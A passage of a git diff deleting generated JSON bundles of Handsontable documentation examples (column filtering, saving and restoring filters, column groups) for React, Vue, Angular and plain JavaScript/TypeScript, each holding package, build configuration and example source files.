    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleGetFilteredData\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useState } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const [rowCountInfo, setRowCountInfo] = useState('');\n\n const updateRowCountInfo = () => {\n const hotInstance = hotTableComponentRef.current?.hotInstance;\n\n if (!hotInstance) {\n return;\n }\n\n // `getData()` returns only the rows that pass the current filters\n // `getSourceData()` always returns every row, filtered or not\n setRowCountInfo(`Showing ${hotInstance.getData().length} of ${hotInstance.getSourceData().length} rows.`);\n };\n\n return (\n <>\n

    {rowCountInfo}

    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleGetFilteredData.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleSaveRestoreFilters.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleSaveRestoreFilters.tsx.json deleted file mode 100644 index 0da109dd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleSaveRestoreFilters.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column filter · Save and restore filter settings · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleSaveRestoreFilters\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { ColumnConditions } from 'handsontable/plugins/filters';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const savedConditions = useRef([]);\n\n const applySampleFilter = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n filters?.clearConditions();\n // filter the 'Price' column (column at index 2) for items over $200\n filters?.addCondition(2, 'gt', [200]);\n filters?.filter();\n };\n\n const saveFilters = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n // `exportConditions()` returns the current conditions, keyed by physical column index\n savedConditions.current = filters?.exportConditions() ?? [];\n };\n\n const clearFilters = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n filters?.clearConditions();\n filters?.filter();\n };\n\n const restoreFilters = () => {\n const filters = hotTableComponentRef.current?.hotInstance?.getPlugin('filters');\n\n // `importConditions()` expects the same physical-column-indexed structure\n filters?.importConditions(savedConditions.current);\n filters?.filter();\n };\n\n return (\n <>\n
    \n
    \n \n \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleSaveRestoreFilters.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json deleted file mode 100644 index fa6df497..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column filter · Server-side filtering · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleServerSideFilter\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleServerSideFilter.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json deleted file mode 100644 index 1bf3ae8c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column filter · Exclude rows from filtering · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleExcludeRowsFromFiltering\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleExcludeRowsFromFiltering.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleGetFilteredData.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleGetFilteredData.vue.json deleted file mode 100644 index 91f3d669..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleGetFilteredData.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column filter · Get filtered data · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleGetFilteredData\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleGetFilteredData.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleSaveRestoreFilters.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleSaveRestoreFilters.vue.json deleted file mode 100644 index ce861972..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleSaveRestoreFilters.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column filter · Save and restore filter settings · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleSaveRestoreFilters\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleSaveRestoreFilters.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json deleted file mode 100644 index 8dab4384..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleServerSideFilter.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column filter · Server-side filtering · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleServerSideFilter\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleServerSideFilter.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example4.ts.json deleted file mode 100644 index df70b0b0..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['$4.2M', '$3.8M', '$4.5M', '$4.1M', '$4.7M', '$5.2M'],\n ['$3.1M', '$2.9M', '$3.4M', '$3.6M', '$3.8M', '$4.0M'],\n ['$5.6M', '$5.9M', '$6.3M', '$6.1M', '$6.8M', '$7.2M'],\n ['$1.4M', '$1.6M', '$1.5M', '$1.7M', '$1.9M', '$2.1M'],\n ['$2.2M', '$2.0M', '$2.4M', '$2.5M', '$2.7M', '$2.9M'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: ['North America', 'Europe', 'Asia Pacific', 'Latin America', 'Middle East'],\n rowHeaderWidth: 120,\n height: 'auto',\n manualColumnMove: true,\n nestedHeaders: [\n // Q1 2025 is cohesive (the default); Q2 2025 opts into splitting.\n [\n { label: 'Q1 2025 (adopt mode)', colspan: 3 },\n { label: 'Q2 2025 (split mode)', colspan: 3, columnDropMode: 'split' },\n ],\n ['January', 'February', 'March', 'April', 'May', 'June'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-groups/angular/example4.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example4.js.json deleted file mode 100644 index 4b3fe390..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nnew Handsontable(container, {\n data: [\n ['$4.2M', '$3.8M', '$4.5M', '$4.1M', '$4.7M', '$5.2M'],\n ['$3.1M', '$2.9M', '$3.4M', '$3.6M', '$3.8M', '$4.0M'],\n ['$5.6M', '$5.9M', '$6.3M', '$6.1M', '$6.8M', '$7.2M'],\n ['$1.4M', '$1.6M', '$1.5M', '$1.7M', '$1.9M', '$2.1M'],\n ['$2.2M', '$2.0M', '$2.4M', '$2.5M', '$2.7M', '$2.9M'],\n ],\n colHeaders: true,\n rowHeaders: ['North America', 'Europe', 'Asia Pacific', 'Latin America', 'Middle East'],\n rowHeaderWidth: 120,\n height: 'auto',\n manualColumnMove: true,\n nestedHeaders: [\n // Q1 2025 is cohesive (the default); Q2 2025 opts into splitting.\n [\n { label: 'Q1 2025 (adopt mode)', colspan: 3 },\n { label: 'Q2 2025 (split mode)', colspan: 3, columnDropMode: 'split' },\n ],\n ['January', 'February', 'March', 'April', 'May', 'June'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-groups/javascript/example4.js","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example4.ts.json deleted file mode 100644 index 7ed5b699..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data: [\n ['$4.2M', '$3.8M', '$4.5M', '$4.1M', '$4.7M', '$5.2M'],\n ['$3.1M', '$2.9M', '$3.4M', '$3.6M', '$3.8M', '$4.0M'],\n ['$5.6M', '$5.9M', '$6.3M', '$6.1M', '$6.8M', '$7.2M'],\n ['$1.4M', '$1.6M', '$1.5M', '$1.7M', '$1.9M', '$2.1M'],\n ['$2.2M', '$2.0M', '$2.4M', '$2.5M', '$2.7M', '$2.9M'],\n ],\n colHeaders: true,\n rowHeaders: ['North America', 'Europe', 'Asia Pacific', 'Latin America', 'Middle East'],\n rowHeaderWidth: 120,\n height: 'auto',\n manualColumnMove: true,\n nestedHeaders: [\n // Q1 2025 is cohesive (the default); Q2 2025 opts into splitting.\n [\n { label: 'Q1 2025 (adopt mode)', colspan: 3 },\n { label: 'Q2 2025 (split mode)', colspan: 3, columnDropMode: 'split' },\n ],\n ['January', 'February', 'March', 'April', 'May', 'June'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-groups/javascript/example4.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example4.tsx.json deleted file mode 100644 index 7fbcce64..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
